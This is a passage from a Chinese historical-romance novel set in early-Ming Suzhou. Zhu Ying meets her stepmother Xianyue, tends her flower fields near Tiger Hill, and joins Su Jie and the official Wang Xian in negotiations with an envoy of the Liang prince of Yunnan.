刘大成连连顿首:“小的罪该万死,殿下面色不好,看着恍惚,可小的一时糊涂,竟让那位不明来历的郎君把殿下带走了。”
他们离开半刻后,刘大成才姗姗想起这事,吓得心胆俱裂,急忙赶到苏州府“自首”。
“知道了,你回去吧。”王献面色无波,看着发怔的小吏吩咐道,“我出去一趟。”
帘幕寂寂,暗香流动,更漏的声音在昏黄的余晖中一声清晰过一声。
朱樱听着水漏连绵不休的滴答声,自梦中慢慢清醒。
她记得她跟着苏芥上了车,被他哄着喝下一碗祛风寒的药,后来实在撑不住,便伏在苏芥膝上睡着了。
醒来时头已不痛,精神也好了许多,只是不知身处何地。
面前藕荷色的床帐垂落,四角挂着深红色的流苏香囊。
青色的被面上绣着巍峨高山与嶙峋怪石,山间林木苍郁,山坳处可见一轮圆月,明月之前,恰有两只飞鸟展翅掠过,似乎是杜鹃鸟,绣得十分传神。
朱樱抬手抚上刺绣细密的针脚。
“阿颜?”苏芥隔着床帐唤她一声,“醒了吗?气息与方才不同。”
“嗯……”朱樱搁在被面上的手攥成拳,轻声问道,“这是何处?”
帐外有推开窗格的声音,一道金红的余晖流进屋内,在帐子上投下一个圆圆的亮斑。
朱樱坐起身,抬手去触那处光斑。
苏芥挂起纱帐,恰握住她抬起的手,在窗畔坐下,看着她因熟睡微微泛红的面颊,“好一些了?”
“嗯。”朱樱别开脸,黛眉微蹙。
“这么拘束?”苏芥凑到她身边,揽着她微倾的肩头,“你怎不装作不认识我?”
朱樱作色,“我骗得过你么?!”
她曾经想逃开,不想在没有做好准备时与他重逢,可惜都是徒劳。
“你可真记仇。”苏芥放开她,柔和一笑,“睡得可好?”
“……这是哪里?”朱樱想起方才的疑问,往帐外略略一望。
屋中陈设精巧,一面墙壁上挂着整整五把制式各异的琴。
“这是乐云楼。”苏芥站起身,“这里是弦月的房间,她现下在外间抚琴,晚些时候回来。”
“弦月……”朱樱抬起头,熟悉的名字,听来终究有几分莫名的亲切。
朱樱披上外衣,走至窗前。
夕阳已经落下虎丘山,山脚下的村庄里腾起炊烟,东边天际爬上一弯上弦月,在晚霞中慢慢穿行。
朱樱出了一会儿神,肩头一重,回头见苏芥为她披上一领薄斗篷,扶在她肩上道:“夜凉,阿颜别在这儿看月亮了。”
“也是。”朱樱抬手想掩上窗格,却被苏芥轻轻挡住,“一会儿还有人要来。”
门外响起轻轻的脚步声,听得一个女子在外说道:“云书、云棋,把琴交给我,你们自行回去便可。”
“是,多谢姑娘。”两个少女清亮的声音在门外响起,听得她们轻快的脚步越去越远。
门被推开,一个天青色纱衣的女子怀抱着琴,抬步跨过门槛。
朱樱下意识起身,那女子看起来三十上下的年纪,容色秀美,一双琥珀色的眼睛熠熠生辉。
女子将琴轻轻挂在墙上,卸下发间繁冗的装饰,只留下一支简单的亮银簪,簪子一头镶着一颗祭红色的剔红木珠。
“弦月夫人。”苏芥唤她。
“……好久不曾听到这样的称呼了。”弦月淡淡一笑。
她当年在朱府时,虽名分为妾室,阖府上下依然称作“夫人”。
她款款走到朱樱身旁,托起她的下巴,细细打量,“颜颜,许久不见,出落得比母亲更漂亮了。”
“我……”朱樱看着她眨了眨眼,动了动唇,声若蚊蚋,“母亲……”
弦月又一笑,轻按在她肩头,“好孩子。”
窗格一响,王献翻进屋内,挟了微凉的夜风进来,衬得脸色分外阴沉。
“你也来了。”苏芥向他笑道,“坐吧。”
王献冷冰冰地打量过苏芥和弦月,目光落在朱樱身上,道:“发生何事?”
“无事。”朱樱摇头,并不打算详谈离开戏园后的事。
四人各自坐下。
弦月脸上始终挂着柔和的笑意,目光不时掠过朱樱。
王献打量她片刻,问道:“弦月夫人,皇上有一些疑问,请夫人解答。”
“大人有什么要问的?”弦月拿起青瓷茶壶,抬手斟了几盏茶,发间珠钗随着她细小的动作,若隐若现。
“十二年前,大都被攻破之际,夫人曾涉足宫墙内。”王献见弦月点头,接着说道,“夫人是否曾见,传国玉玺落入谁人之手?”
弦月一
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笑,指尖轻轻敲在茶盏边缘,叮叮作响,碧绿的茶汤上荡开一圈又一圈半圆形的涟漪。
“我听闻,当年陆丞相背着儿皇帝跳海,玉玺亦沉入大海,不知所踪。”弦月如是道。
王献面色微沉。
“但你若定要问,后来曾有人伪造玉玺,送至大都邀赏,也是有的。”弦月一笑,容色皎然,神态自若,“而且,数不胜数。”
“世事更迭,强弱有定,并非天风可知。”弦月看向朱樱,唇角小小的梨涡涌现,“颜颜,你外曾祖父错了。不是东风先到了凤凰台,而是有人带着东风到了凤凰台。”
“母亲……”朱樱捏住温热的茶盏,她曾以为弦月不过是一个美貌琴娘,未曾想过她处事如此明晰。
弦月看向王献,正色道:“大明的皇帝若真想得到‘玉玺’,有的是法子,何必来问我?但,若这天下果真是一颗玉能够决定的,又何须尸山血海,生灵涂炭?”
王献起身,答道:“夫人看得透彻,但天下人不及夫人多矣。”
弦月柔和一笑,也起身,走向妆台旁,对镜摘下发间银簪,又打开妆台下的小屉,拈出厚厚一沓信件,“我若真看得透彻,又怎会在此?”
朱樱默然,她的确不明白弦月留在姑苏的目的——甚至她从来没有明白过,弦月当年前往大都的目的。
她的一言一行,让世人猜解不透,但她自己的心中,似乎有着明确的目的和计划。
弦月将一沓信件放在王献身前,“听闻外子已孤身前往云南,此为我与外子往来信件,所谋者,无过小道,乞明主一笑便罢。”
王献面无表情地收起信件,答道:“皇上自会决断。”
弦月笑着摇了摇头,什么也没说,径自回到朱樱身旁,扶着她的肩头。
苏芥起身,向弦月一礼,“小侄先告辞了。”
王献看一眼朱樱,点头,“卑职在外等着殿下。”
“颜颜。”弦月目送两人离开,将银簪交到她手中,“这是我寻到的你外婆的遗物,现在交到你手中。”
精致的银簪,簪尾镶着一颗剔红木珠子。
朱樱不明所以地回望着她。
“要勇敢。”弦月在她身侧的位子上坐下,斜斜倚着桌沿,“母亲和父亲都不能帮你,你要努力。”
“我明白。”朱樱点头。
“那我就放心了。”弦月弯起唇笑了笑,双眼仿佛月牙,“大明的皇帝是个好皇帝,其实你外曾祖父也是个好皇帝。”
朱樱再点头,起身,“我走了。”
“去吧。”弦月看着她轻轻掩上门,仰头去望窗外那一弯弯弯的月。
是从什么时候不再怨恨顺帝的?
是她一路北上,听闻顺帝如何杀伯颜夺政,还是进入大都,听人说起当年年轻的皇帝曾如何励精图治,还是看到朱珩在她面前如何痛心疾首地指责顺帝明知大局将倾却因绝望而不管不顾……
亦或是,在漫天烽火中,她闯入宫禁,那个身披明黄衣袍的憔悴老人,用颤抖的手将一支保存完好的银簪交到她掌心的时候呢?
弦月淡淡一笑,她记得,他说,“孩子,活下去吧。”
“颜颜,母亲也希望你,好好活下去。”
这世间除了复仇,还有许多事。她的母亲自幼在颠沛流离中长大,好不容易遇到了父亲,却因为执着于复仇分离;而她又一次重蹈覆辙,为了复仇离开丈夫和女儿,到最后……究竟能得到什么呢?
23. 第二十三章 花睡去
夜风拂动,月色溶溶。
朱樱将车帘拂开一角,仰头望着移至中天的上弦月。
小车在寂无一人的乡间小路上行驶,驾车的是王献。
虎丘塔浸沐在柔和皎洁的月光之下,六角玲珑,仿佛白玉雕琢成的工艺品。
“阿颜。”苏芥倚着车壁,轻声唤她。
“嗯?”朱樱回过头,眼中还残留着皎皎月色,显得万分柔和,“怎么了?”
他们正在前往苏家的路上,苏云珍和苏家大舅都住在那座小院子里。
小院外方圆数里,直到虎丘山下,都是她托苏云珍买下的用以栽花种树的田产。
她之前回到周家,不仅为了能在菱花会上遇到乌莹,还希望查一些关于周云钊的事——周云钊一面与朱珩联络得到云南的消息,一面命白篱监视她,甚至为了惊动乌莹姐弟,不惜置自己的女儿于险地。
可是,现在她只能远离周家,周云钊缓过神来,定会派人去花坊查探,因此她也不敢回到姑苏城内。
只好先躲回虎丘,苏云珍并不是逆来顺受的妇人,周云钊从来不敢捋这个义妹的须。
苏芥说要与她一道回来,王献嘴上也说不放心,可眼神却老往苏芥身上瞟——多半还是怀疑更多一些吧。
总之,他们三人离开乐云楼后,决定结伴回到虎丘山下。
“阿颜。”苏芥将她微凉的手握在掌心中暖着,问道,“为什么要杀白篱?”
“我的事情,不要你来管。”朱樱略蹙眉,不想多说,“哪怕白篱心里怨我恨我,也由得她去了,偏你要来做这个好人?”
苏芥摇头,“你啊,只为那一点小事就大动干戈,这脾气真是一点没改。”
朱樱一怔,知他猜着了,嘴上不愿认,反击道:“你又有什么理由来指责我呢?难道你不是这样的么?行百步者倒过来笑五十步,可真是让人闻所未闻。”
王献在外听见,微微一哂,这话说的倒一点不错。
虽则他心中不认同朱樱所作所为,但他深知自己也称不上什么好人,自不会去指责她。苏芥却恁的理直气壮,好像他自己就是什么正人君子似的,这脸皮着实厚得可圈可点。
“还是这般伶牙俐齿。”苏芥抬手捏了捏朱樱面颊,“可是,阿颜,我早与你说过了,这种事留给我来做便是了。”
“我不需要。”朱樱抽回手,扭身趴在窗畔,望着道旁葱茏的水田,久久不说话。
车架一停,王献在外说道:“到了。”
苏云珍一身雪青色夏衫,手执棕榈叶裁成的大蒲扇,笑着向朱樱招手,“阿颜回来了,娘给你在用井水凉着酸梅汤呢。”
朱樱抛开方才的事,欢呼一声,上前匆匆抱了苏云珍一下,问声好,走进灶房。
王献向苏云珍作了一礼,去寻朱樱。
苏云珍抬眸看向苏芥,静静地看着,一言不发。
“宣清见过云珍夫人。”苏芥低下头。
“你师父还健朗吗?”苏云珍背倚长廊的栏杆,将蒲扇搁在膝头。
夜空中月华流照,繁星疏朗。
四野夏蝉鸣唱不倦,田蛙遥遥一声应和。
“老人家还很精神,只是常常嚷着要回去了。”苏芥答道。
苏老神医将所有事情的原委告诉了两人,一个是爱徒苏芥,另一个是孙女苏云珍。
“啊……我想也是,在这种朝不保夕的乱世待上那么多年,怎会不厌倦?”苏云珍拿起蒲扇,抵着面颊,抬头望着夜幕上坠着的繁星,“你想,他是那种在太平盛世里生活过的人,到底是与我们不同的。那是我们连想也想不到,梦也梦不到的地方,因为根本没有体验过,所以可以一点都不向往。”
她幼时听祖父苏老神医说起过很多故事。
也是在这夏夜的庭院中,璀璨的星空之下。
苏老神医说,数千年前、数百年前的星光在此刻照耀着人间夏夜的庭院,倾听蛙鸣声声,蝉吟阵阵。
他又说,他其实来自七百余年后。
苏云珍年轻时常想,七百年那是多遥远的距离啊?穷尽几生几世都不可能达到吧?
可是,此刻,她抬头仰望着天上星河,突然明白,这繁星中总有一颗,它此刻发出的星光,会在七百年后到达此地,照耀在于她有养育和教导之恩的苏老神医的身上。
那个时候,那个在七百年后盛世生活的人,一定会再想起早已作古的她。
那就足够了。
“是的,与我们不同。”苏芥点头。
“我原想……”苏云珍一笑,看着苏芥摇头,“我希望阿颜能够回去,虽然她并不属于那里,但……她会更喜欢那里吧?”
那是没有多少纷争的盛世,或许仍有不尽如人意的地方,但在时人眼中早已是不啻仙乡的存在,哪怕只得惊鸿一瞥,都会令人很想长留其间吧?
阿颜是她竭心尽力养大的孩子,做母亲的总是希望她能够到更好的地方去生活,哪怕不能留在自己身边,只要知道她一切皆好,那也是开心的。
“可是。”苏云珍抬手,蒲扇的边沿在苏芥肩头一敲,“她选了你。”
她不会干涉阿颜的选择。
苏云珍转身走进回廊,消失在夜色深处。
朱樱坐在门槛内,望着被丝瓜繁茂的藤蔓荫蔽起来的庭院,手中端着酸梅汤,不时抿一口。
酸涩冰凉的滋味在口中蔓延,让她心中也有些酸溜溜的。
王献目不斜视,盯着灶台上的灶神画像,问道:“你应当知道,苏芥来姑苏究竟是为了何事?”
“你若想知道,自己去问他就是了。”朱樱摇头,“他从来不会把这些事告诉我的。”
倒不是不信任她云云,而是像他自己说的那般,他总以为,那些事由他自己去做就好了,不需她来分担。
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不过,她多少能猜到一些,毕竟相识这么久了。
“你以为他会告诉我?”王献捏紧拳,重重落在灶台上。
“那块石板很贵,坏了的话你可要赔我。”朱樱起身,在王献身旁抿唇一笑,“我可以替他保证,他绝不会做什么你们所谓的‘危害社稷’的事。就像弦月一样,我们所谋不过是小道,在皇帝眼中,不值一提。”
他们只想谋一个,太平安乐,长相厮守,仅此而已。
王献冷哼。
他近来有些不信苏芥,苏芥盘桓姑苏半年有余,行迹可疑,还能早于他联络上弦月,只怕也早与乌莹和那苏图相识,又可自由出入周宅,在朱珩与梁王的通信中,也有几封提到苏芥,还有那个敌友不明的白衣人——想不到云南之事也是云山雾罩,疑团重重。
“我确实知道一些事。”朱樱低眸,踌躇片刻,“总之,我不会让他做什么铤而走险的事情,这点你和皇帝大可放心。”
说罢,她点了一方烛台,走入廊中。
王献默然,他不明白朱樱有什么好隐瞒的,皇帝可不会永远喜欢爱耍小聪明的孩子。太过聪明的孩子,只会让皇帝觉得危险和忌惮。
朱樱在回廊的转角处遇上了苏芥。
廊外,一株巨大的海棠将枝干斜入廊中,点点嫣红的花瓣仿佛少女指上丹蔻,妖冶迷人。
“阿颜也来了。”
“这海棠是旁人特特为我从齐鲁运来的、长了数十年的老树,好不容易移栽在此,昨日才刚开出花,不来看看,岂不辜负?”朱樱俯身将烛台放在栏杆上。
摇曳的火光给小巧的海棠花瓣镀上了一层亮闪闪的金边。
朱樱趴在廊前,望着近在眼前的海棠花,抬手轻点一枝,轻笑道:“果然开得这样好。”
“阿颜。”苏芥扶着她的肩。
苏云珍说,她选了留在这里,是为他而留下来。
“嗯?”朱樱将头略回转一些,指间拈一枝海棠,嫣红的花瓣轻抿在唇间,琥珀色的眼中烛火散落,如有碎星闪烁。
“你本可以不回来的。”苏芥将她扶起,正色问道,“是么?”
“你已经管得这么宽了?”朱樱讶然,顺手将折下的海棠别在他衣襟上,摇头道,“从前你只管这儿的事,现下连我在那边的事都要管了么?我的天呐,真是太折磨人了,有老师管我还不够,连他的徒儿都要来管。”
“阿颜……”苏芥紧握住她的肩,没理会她的抱怨,“回答我,是不是?”
“是啊。”朱樱皱眉,展开手臂揽上他的肩,在他耳边笑道,“我上回答应过你,要回来的,怎么能食言呢?”
苏芥圈住她的细腰,轻声道:“留在那里会更好吧?我说过,你可以自己选的。如果下回不想,你……也可以不回来。”
“是的。”朱樱抬眸看着苏芥,“所以你要明白,这是我自己选的。”
24. 第二十四章 上方山
虎丘山下,一望无际的田野间,花匠们正提着花锄和水桶,四处检视花草的长势。
朱樱撑一柄伞走在田埂上,鞋面上五彩斑斓的蛱蝶随着她的脚步在草丛中翻飞起落。
“姑娘。”花匠们偶尔停下来,拘谨地向朱樱问好。
“今年的茉莉长势还好吗?”朱樱在茉莉田前停下,面前一片嫩绿的叶子,在这浅绿色的海洋上,打着无数洁白的骨朵儿,虽尚未完全绽放,但馥郁的香气已在空气中隐隐流动。
“这几日未曾下雨,不曾将香气冲淡,这是好事。”花匠弯腰摘了一朵开得早的,递到朱樱面前,“姑娘你闻闻,这味道正得很呢。昨日,还有一位做茶叶生意的老爷来,问这茉莉珠儿卖不卖,听说不卖他可难过了。”
朱樱拈起洁白的花朵,两层花瓣从花萼上绽开,片片相连,不分彼此,浓郁的芳香不知从何而来,萦绕在身边,不肯散去。
朱樱抬头看了看天:“难保这几日有雨,今日若有空闲,都收了吧。”
“啊?”花匠愣愣望着朱樱,喃喃问道,“姑娘先前说过,这一片茉莉要等白篱姑娘来,再做决定。”
白篱有四五日没来花田上了,茉莉不待人,眼看就要盛放,若赶不上花期就只能分发给卖花儿女沿街叫卖。
到那时,便掉了不少价钱。
朱樱收起伞,藕色的伞面上粉樱垂垂,似乎要一直延伸到伞面以外的地方,“她一会儿就回来了。”
“噢噢,这样啊。”花匠连连点头。
“往后……”朱樱抱着伞,微掩眼帘,“你们就听我母亲和白篱的吩咐,就可以了。”
“……?”花匠迟疑地望着她。
“我要离开这里一段时间。”朱樱一笑,望向天穹。
她的身份暴露,在姑苏待下去再无用处,只能先回到应天府,等候下一步行动。这一去,或许三年五载,也或许再不回来了。
一辆小车停在田埂外,车帘一挑,青衣的少女落下一只穿着小巧绣鞋的脚,轻轻踏在田边,迟疑地抬头望来。
“白篱。”朱樱向她点头。
“姑娘……”白篱轻咬住唇,面色还有些苍白。
“你看,这些花都等着你呢。”朱樱的目光扫过整片的茉莉花田,两人隔着绿意葱茏的田野相望。
白篱低下头,垂在身侧的手攥起,“白篱知道了,姑娘先前吩咐的事情,我都记着呢。”
朱樱绕过茉莉花,轻快地走到她身边,轻轻道:“白篱,你往后跟着我母亲,要听话。”
白篱似懂非懂地点了点头,深吸一口气,抬起头道:“姑娘,是白篱对不起姑娘。”
她说罢,退了一步,想要跪下。
“不必了。”朱樱搀住她,摇头,“你剩下的路要自己去走,不必跟我再说什么。母亲来了,到她身边去吧,她会教你很多东西。还有城里的铺子,也要劳你多多看顾了。”
“姑娘要走了吗?”白篱回望背后的虎丘山,六角形的高塔在山岚缭绕中耸然屹立。
半年前,朱樱带着她离开周家,第一次来到这里时,她就喜欢上了这片清丽动人的山村之景。朱樱说,她也很喜欢这里,希望将来能够定居在此,不理世间的纷争。
苏云珍转出山口缓步走来,一身莲青色的夏衫,衬出中年妇人脸上柔和的神情。
“姑娘从来有自己的道理,白篱往后不能再跟着姑娘,姑娘自己要多保重。”白篱偏过头,抬手飞快地擦去溢出眼眶的泪,提着裙子,向苏云珍走去。
苏云珍遥遥向朱樱挥了挥手,与白篱说几句话,带着她走向荷塘。
采莲女们正将荷花和菱角从船舱里取出,蹲在河滩边的卵石上濯洗淤泥和藻荇。
朱樱看看四下人们劳作的身影,走到一片田埂边,低下头细细翻看那些翠绿的狭长叶片。
这一片栽的是水仙,此时才抽出嫩叶,高高低低,随风摇摆,做着世间最莫测的舞蹈。
朱樱伸手至泥土上,从根茎处抽出一带狭叶,折叠几下,编成一颗绿莹莹的五角星。
苏芥走到她身后,“想通了?”
“是啊,所以放她去了。”朱樱低头摆弄着手中的叶片星星。
“阿颜。”苏芥在她身侧蹲下,抬手将她被风吹到面颊上的发丝拨回耳后,“你只要关心这些花花草草就够了。”
“可是我也想帮你。”朱樱抿唇一笑,侧过头看着苏芥,“不过,帮你可是要收利息的。”
“什么利息?”苏芥拈起她掌心中绿色的星星。
朱樱又一笑,看着一望无际的花田,“若有一日,陪我回来,怎样?”
“自然。”苏芥答道,“一定与你回来。”
“啧,真是腻得慌。”王献大步走来,一路直摇头。
昨夜廊中,苏芥和朱樱谈至中夜才各自回房,王献外出时撞见了一回,回来时又撞见了一回,只觉十分辣眼。
那苏图跟在王献身后,侧过脸去看四处田埂上盛放的花,女侍阔阔真紧随其后,忍不住抿唇轻笑,也不知是因王献这句话,还是因看见了满眼的春花绿草而高兴。
“阿颜,该去上方山了。”苏芥放开朱樱,扶她起身,掸去衣裾上的草屑。
昨日王献与苏州府几名官员连夜与带走乌莹的那些人交涉,对方最终同意在上方山交还乌莹,条件是他们要见那苏图一面。
朱樱也要同去上方山,为的是亲手转交弦月的一封信。
过石湖,西北而行,青山隐隐,翠微环绕,便是上方山。
约定的地点在楞伽寺的塔林之中。
寺中烟气缭绕,空旷的塔林内并无一人。
王献和阔阔真警惕地环顾四周,朱樱却和那苏图四处观看佛塔,甚而讨论起其上碑刻字迹,如何遒劲洒脱,该是名家风骨。
苏芥抱臂站在塔林入口处,远远望向林雾弥漫的塔林深处。
一只白鸽从林木深处掠出,脚上系着纤细的红色丝带,停在一座佛塔的飞檐上,将风铃撞得叮叮碎响。
“进去吧。”王献漠着脸,走进林木深处。
“那苏图,我们也进去。”朱樱两根手指捏着信封,信步顺着蜿蜒小路走进树林,“苏州府的官员都在山下等候,他们不敢做什么的。”
阔阔真冷哼一声,转向那苏图,用蒙语说了一句话。
“哦?你们也有人在上方山周围,并不需要苏州府的人保护,是吗?”朱樱回过头,看着阔阔真震惊的神情,抿唇一笑,“蒙语的话,这里也只有王大人听不懂罢了,何必耍这样的小聪明?有时候坦诚一些反而会更好。”
阔阔真低下头,闷声不吭,快步走进林雾深处。
他们是朱珩从大都带至西山的护卫,虽然在江南生活了十
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年,却从未踏上过太湖之外的土地,他们只知道听从保护乌莹和那苏图,不相信任何人。
雾气尽头,不大的山涧旁,乌莹着一身暗青衣衫,临水而立,一条暗红色的销金长裙映在水面上,仿佛烈火流动,衣领和袖口亦是红色丝线绣出的花纹,在迷蒙的林间尤为醒目。
她身旁仅一青年,灰褐色的袍子,正侧头与乌莹谈话,面上神情冰冷。
“姐姐!”那苏图远远向乌莹招手。
乌莹与那青年一起转过身来,青年约莫二十五岁上下,褐色眼瞳,眉目冷厉,眼睛有些睁不大,似乎不惯见阳光,他的容貌生得有些像蒙古人,细细看又有些像南人,一时竟分辨不清。
“我名那钦,乃梁王左丞达德之子,任梁王府典簿。”青年扫了众人一眼,倨傲地道。
王献冷冷而对。
云南险僻,多瘴无风,皇帝不欲用兵,屡次派人招降,但梁王不仅不领情,还变本加厉地侵扰边界,总有一日叫他尝尝明军的厉害。
“那苏图。”乌莹走近几步,摇头,“不要过来。”
那苏图刹住脚步,转向那钦,“典簿大人,是你要见我?为何不下帖相邀,而暗中替换驾车之人,将我姐姐带往他处?”
“我与长安公主有旧,又恰好有一封信转交,拦车之举,不过是不希望引起某些人的注意罢了。长安公主随时可以离开,你也可以离开。”那钦瞥王献一眼,忽地改用蒙语向那苏图说了一大堆话。
那苏图皱眉,那钦告诉他梁王有意与关外联合进犯,要他去云南共同主持战事,稳定人心,若能成大事,就可分得半壁江山。
朱樱一哂,拈着信笺懒洋洋地看向那钦。
那钦所言,能有三分是真已了不得了。
他特特说这些,根本不是为了说给那苏图听,而是为了说给王献听——在那苏图与皇帝之间种下怀疑的种子,让皇帝终究不敢扶持那苏图。
不能为我所用就索性毁了他,好毒的计策。
“你便是朱侍郎之女?”那钦的目光转过来。
那双棕褐色的眼睛有些小,三角形状,光芒冷厉凶残,让人想起黑暗中蛰伏的吐着血红长信子的毒蛇。
“不错。”朱樱将手中信封交给阔阔真,由阔阔真上前交给乌莹,再转交到那钦手中,“这是母亲的信。”
“弦月。”那钦一把撕开信封,皱着眉头匆匆看完信件,仿佛这两个字是恶毒的诅咒。
苏芥走到朱樱身后,轻声问道:“阿颜看过那封信吗?”
“不曾。”朱樱盯着那钦脸上神色,暗暗揣测。
弦月没有告诉她那封信的内容,那钦神色阴晴不定,让人捉摸不透,只是唇边挂着冷笑——也不知那信究竟是何意思?
“哈哈哈哈哈哈……”那钦一把撕毁信纸,“你们都可以走了,可千万不要让我们王爷失望!”
“你……”那苏图一脸莫名。
乌莹快步走来,挽起那苏图向外走,“那苏图,快走吧。”
“乌莹!”那钦忽地高声叫住乌莹。
“典簿大人,我与你没有别的话可说,请回吧。姑苏不是你们该来的地方,有混进姑苏的心思,不如回去守云南。”乌莹冷笑一声,“若在你眼中,大元仍未亡,那你便不可直呼我的名字。”
那钦沉下脸,面色阴冷,目送几人走出塔林。
25. 第二十五章 鲤鱼图
西山之下,漫天苇草在金红的余晖中飘摇,水榭挑入广阔湖面,水上粼光游动,游鱼往来。
那苏图安安静静地坐在廊外,垂一根钓竿,不时钓起一只白虾,甩在竹篓内。
朱樱和乌莹坐在水榭内,面前放着两盏清茶,两碗杏酪。
“那钦派人在道中拦车来访,我原不想将那苏图牵连进来,因此未曾告知他,想不到反而令他这样无措。”乌莹垂下眼睫,青花的小勺在盛着杏酪的碗中轻轻搅动。
那苏图竟因不知向谁求助,最后应允了去应天府——不过也好,与那钦详细谈过后,她也觉得云南梁王并不可靠。
左右也没有一个好去处,就选了大明的皇帝也无不可。
而且,朱珩在这时节突然启程前往云南,将他们姐弟二人留在姑苏,或许也是希望他们能够做出自己的选择吧?
“皇帝不过想扶持一位草原上的大汗,并无恶意。”朱樱宽慰一笑,“乌莹姐姐也不用过于担心,河南王的妹子是秦王正妃。暗里如何我们且不论,至少面上,荣华足矣,性命无忧。”
至于将来到了草原上,是否凶险难行,能否得到中原的助力,那些俱是遥不可及之事,要靠那苏图这些年在应天好好周旋。
乌莹缓缓点头,这话不差。
前朝的河南王王保保,是少数能让明军铩羽的将领之一,皇帝终其一生都想得到此人,屡次招降,许以优待,奈何其心如铁。
皇帝能够让自己的次子迎娶河南王的妹子,且屡次告诫秦王善待王妃,面上工夫做到如此,也确实叫人无可指摘了。
“这样也好。”乌莹抬眼,将一勺杏酪送入口中,无奈一笑,“终究我们这样的人,也不可贪求更平静的日子。”
朱樱点头。
他们这样的人,终究难免卷入那些纠葛里,如果一定要选一边的话,她只能相信自己选对了。
朱珩与弦月的选择是去往云南与梁王周旋,境地更为凶险——他们这样选,将更好的机会留给了自己,已是最大的爱护。
王献立在水边,遥遥望着无际的湖面,冷冷问身旁的苏芥,“你早与那钦相识?”
“相识说不上,只不过谈过几句话而已。”苏芥摘了满满一怀苇草,往水榭走去,“那种人一辈子都在做见不得光的事,与他说话,正应了那句‘话不投机半句多’。”
王献走上水榭的栈桥,冷冷一哂,“我看也不过彼此彼此。”
他一样在做见不得光的事,苏芥亦如是。大家半斤八两,平分秋色,何必去指摘旁人?
“他和我们都不同。”苏芥又道。
那钦的身上,透着深不见底的阴暗,仿佛搬开阴冷潮湿的砖石后,那下面腐烂的泥土中四下慌乱逃窜的虫子,一辈子没见过阳光,因而厌恶可以走在阳光下的一切东西。
“是么?”王献“呵呵”一笑,“我与你又是不同的吧。”
“他么,譬如一味孔雀胆,而你却是葛葎蔓。”苏芥走进水榭。
王献一甩竹帘,跟着跨进水榭,往案前坐了,随手斟一盏茶,“这是什么道理?他是剧毒的药,我却是蔓草?那你倒也说说,你又是什么来?”
乌莹起身,“王大人,舍弟多劳大人看顾了。”
“他若听话,皇上自然欢喜,我不过一员小卒,也帮不上什么忙。”王献略带赌气地道。
他也不笨,自然明白苏芥那比方,说他无过一茎蔓草,攀附皇上而起。
葎草叶缘有刺,又名割人藤,劳作之人不小心,总会被割伤了手,这是一种令人厌恶又畏惧的杂草。但再令人侧目,终究不过是野草罢了,上不得台面。
还真活脱脱便是他的化身。
苏芥这张嘴当真太毒,损人于无形之中。
“宣清,我们还回虎丘吗?”朱樱接过满满一大捧苇草,笑道,“难为你还记得,我喜欢摆弄这个。”
“这有什么记不得的。”苏芥取出一份水经图册,“明日从水路去应天府,倒不必再回去。”
“云南那里,虽只有那钦带着几人前来,但他不是易与的角色,西山守卫颇多,留在这里倒安稳些。”乌莹沉吟片刻,又道,“颜妹妹,朱伯父身在云南,左丞达德本就对他怀疑重重,身为达德之子,那钦亦是如此。”
那钦对朱珩本就不信,又兼朱樱被明帝封为公主,可想而知那钦心中对朱樱的忌惮和戒备有多深。
“我知。”朱樱与苏芥对望一眼,那钦一向与他们不大对盘,有一回她还险些死在那钦手中。
那苏图抱着竹篓,一挑竹帘,矮身走进水榭。
篓中白虾不断跳跃,企图回到广阔的湖水中去。
“那苏图,到了应天府之后,不要躲懒。”乌莹向他笑道,“姐姐会陪你一起去。”
要做好草原上的大汗,不仅要学骑射、兵法,还要读许多书,学这世间权谋、治国之道。
学好这些东西,让皇帝看到培养的成果,这是前提;不以所学与明为敌,始终恪守最初的承诺,这是基础。
做到这两点,他们就可以全身而退。
虽然……
“我会努力的,姐姐。”那苏图放下竹篓,将长长的钓竿擦净,打开角落里狭长的盒子,将钓竿收进去,而后锁上了盒子。
乌莹轻轻叹息。
一缕悠扬的乐音从湖面上飘扬而来,伴着一个少女清亮的歌声,随着水声愈来愈近。
阔阔真走进水榭,“娘子,有一位周娘子和云南的宁公子一同来访。”
“周娘子?”乌莹扬眉,看向朱樱,“莫不是你那个锦蘅妹妹?”
“当然是我啦!”小船在水榭的栈桥旁拢岸,周锦蘅一身葱绿夏衫,一扔手中竹篙,仿佛一只青蛙似的蹦上栈桥,挟着一阵风冲进水榭,直往朱樱身上扑,“颜姐姐,可想死我了!你那日出府还顺利吗?你知道吗?这几天可担心死我了!”
“阿蘅,你怎么出来了?”朱樱拂开少女的长发,露出她带着娇憨的笑靥,“二老爷和二太太知道你出来了么?”
“哎呀,我哪次偷溜出府被他们知道过!”周锦蘅“咯咯咯”直笑,颇为得意,“他们都当我是最乖巧不过的呢!”
“你真是个天魔星。”朱樱笑着摇头,周锦蘅这个披着乖乖女皮的熊孩子,若有一日蔺氏发觉周锦蘅如此顽皮,不知面上的神情要何等精彩。
一人在周锦蘅之后走了进来,手中一管巴乌,白衣飒沓。
王献起身,“是你。”
那日他追了半个姑苏城也未追上的人,也是那夜闯入周宅引开护院,助他和朱樱逃离的人。
“仪鸾司的副使大人,幸会了。”白衣人抱拳为礼,“我名宁扶
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风,乃云南宁氏之人。”
“宁氏。”王献面色一凝,不由看向苏芥。
宁氏乃色目人,至元四年随第一任云南王忽哥赤至云南,后改姓宁氏。
宁氏至今已定居云南一百余年,家族庞大,与大理段氏、云南各部族、甚至安南、真腊等国均有通婚,历任云南王、梁王也对宁氏仰仗颇深。苏芥的生母,亦是宁氏之人。
苏芥向他点头,“梁王的意思不明,但仍是不受招降。”
“那么。”宁扶风将巴乌在指间转动,笑道,“王大人,我虽为宁氏之人,却是为大理段氏而来。段氏决意保持中立,若明军有意攻打云南,段氏绝不再出手助梁王;若明军真能驱逐梁王到达大理,那段氏会考虑接受招降。”
大理总管段功曾为梁王所害,段氏如今能做到的仅是袖手旁观。
朱樱放下手中苇草,一手扣在小案边缘,“扶风,你来了。”
终于还是来了么?
宁氏坚定地站在梁王这一边,效忠于北元;而宁扶风不喜纷争,因母亲是段氏出身,更多居住在大理一带,而非昆明。
“是啊,阿颜先前就见到我了,好尖的眼神。”宁扶风一笑,看向周锦蘅,“你那小妹妹从周家的墙上跳下来,说要去虎丘寻你,恰好被我遇上,我就将她带来了。”
朱樱失笑,捏了捏周锦蘅面颊,“好个周家二太太的乖女儿,竟还会翻墙。”
周锦蘅大不乐意,“哎呀,我们又不是汉人,扯这些七七八八的规矩做什么?”
